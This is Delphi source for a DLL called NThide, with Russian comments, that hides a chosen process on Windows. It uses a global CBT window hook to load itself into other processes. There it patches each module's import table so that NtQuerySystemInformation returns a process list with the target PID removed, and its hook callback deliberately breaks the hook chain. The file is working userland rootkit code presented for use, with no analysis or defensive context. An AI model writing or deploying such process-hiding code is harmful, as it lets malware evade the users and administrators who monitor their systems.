library NThide;

uses Windows,
ImageHlp,
TlHelp32;

type TImageImportDescriptor=packed record
Characteristics:DWORD;
TimeDateStamp:DWORD;
ForwarderChain:DWORD;
Name:DWORD;
FirstThunk:DWORD;
end;

PImageImportDescriptor=^TImageImportDescriptor;

type PPointer=^Pointer;

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar;// имя dll с функцией

pfnCurrent: Pointer; // адрес перехватываемой
// функции

pfnNew: Pointer; // адрес новой функции

hmodCaller: hModule // сам модуль
);

var ulSize,written: Cardinal;
pImportDesc: PImageImportDescriptor;
pszModName: PChar;
pThunk: PDWORD;
ppfn:PPointer;
ffound: LongBool;
begin
pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller),
TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT,
ulSize);
if pImportDesc = nil then exit;
while pImportDesc.Name<>0 do
begin
pszModName:=PChar(hmodCaller + pImportDesc.Name);

if (lstrcmpiA(pszModName, pszCallerModName) = 0) then
break;
Inc(pImportDesc);
end;

if pImportDesc.Name = 0 then
exit;

pThunk:=PDWORD(hmodCaller + pImportDesc.FirstThunk);

while pThunk^<>0 do
begin
ppfn := PPointer(pThunk);
fFound := (ppfn^ = pfnCurrent);

if (fFound) then
begin
VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,
written);
WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew),
written);
exit;
end;
inc(pThunk);
end;
end;

var addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
mapaddr: PDWORD;

function myNtQuerySystemInfo(SystemInformationClass, SystemInformation,
SystemInformationLength,
ReturnLength: DWORD):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass, 5
jne quit

onceagain:
mov esi, SystemInformation

getnextpidstruct:
mov ebx, esi
cmp dword ptr [esi],0
je quit
add esi, [esi]
mov ecx, [esi+44h]
cmp ecx, mypid
jne getnextpidstruct
mov edx, [esi]
test edx, edx
je fillzero
add [ebx], edx
jmp onceagain

fillzero:
and [ebx], edx
jmp onceagain

quit:
mov Result, eax
end;

procedure InterceptFunctions; // перехватить функции
var hSnapShot: Cardinal;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),
'NtQuerySystemInformation');

hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);

if hSnapshot=INVALID_HANDLE_VALUE then
exit;

ZeroMemory(@me32,sizeof(MODULEENTRY32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);

repeat
ReplaceIATEntryInOneMod('ntdll.dll', addr_NtQuerySystemInformation,
@MyNtQuerySystemInfo, me32.hModule);
until not Module32Next(hSnapShot,me32);

CloseHandle(hSnapShot);
end;

procedure UninterceptFunctions; // снятие перехвата
var hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),
'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);

if hSnapshot=INVALID_HANDLE_VALUE then
exit;

ZeroMemory(@me32,sizeof(MODULEENTRY32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);

repeat
ReplaceIATEntryInOneMod('ntdll.dll', @MyNtQuerySystemInfo,
addr_NtQuerySystemInformation, me32.hModule);
until not Module32Next(hSnapShot,me32);

CloseHandle(hSnapShot);
end;

var HookHandle: THandle;

function CbtProc(code: integer; wparam: integer;
lparam: integer):Integer; stdcall;
begin
// рвем цепочку хуков
Result:=0;
end;

procedure InstallHook; stdcall;
begin
// отлавливаем сообщения о происшедствиях с окнами
HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var hFirstMapHandle:THandle;

function HideProcess(pid:DWORD):BOOL; stdcall;
var addrMap: PDWORD;
begin
mypid:=0;
result:=false;
hFirstMapHandle:=CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8,
'NtHideFileMapping');
if hFirstMapHandle=0 then
exit;

addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);

if addrMap=nil then
begin
CloseHandle(hFirstMapHandle);
exit;
end;

addrMap^:=pid;
UnmapViewOfFile(addrMap);
InstallHook; // запрещаем сообщения WH_CBT
result:=true;
end;

exports HideProcess;

var hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
if mypid > 0 then
UninterceptFunctions

else
CloseHandle(hFirstMapHandle);
end;

begin
hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');

if hmap=0 then
exit;

mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);

if mapaddr=nil then
exit;

mypid:=mapaddr^;
InterceptFunctions;
UnmapViewOfFile(mapaddr);
CloseHandle(Hmap);
DLLProc:=@LibraryProc;
end.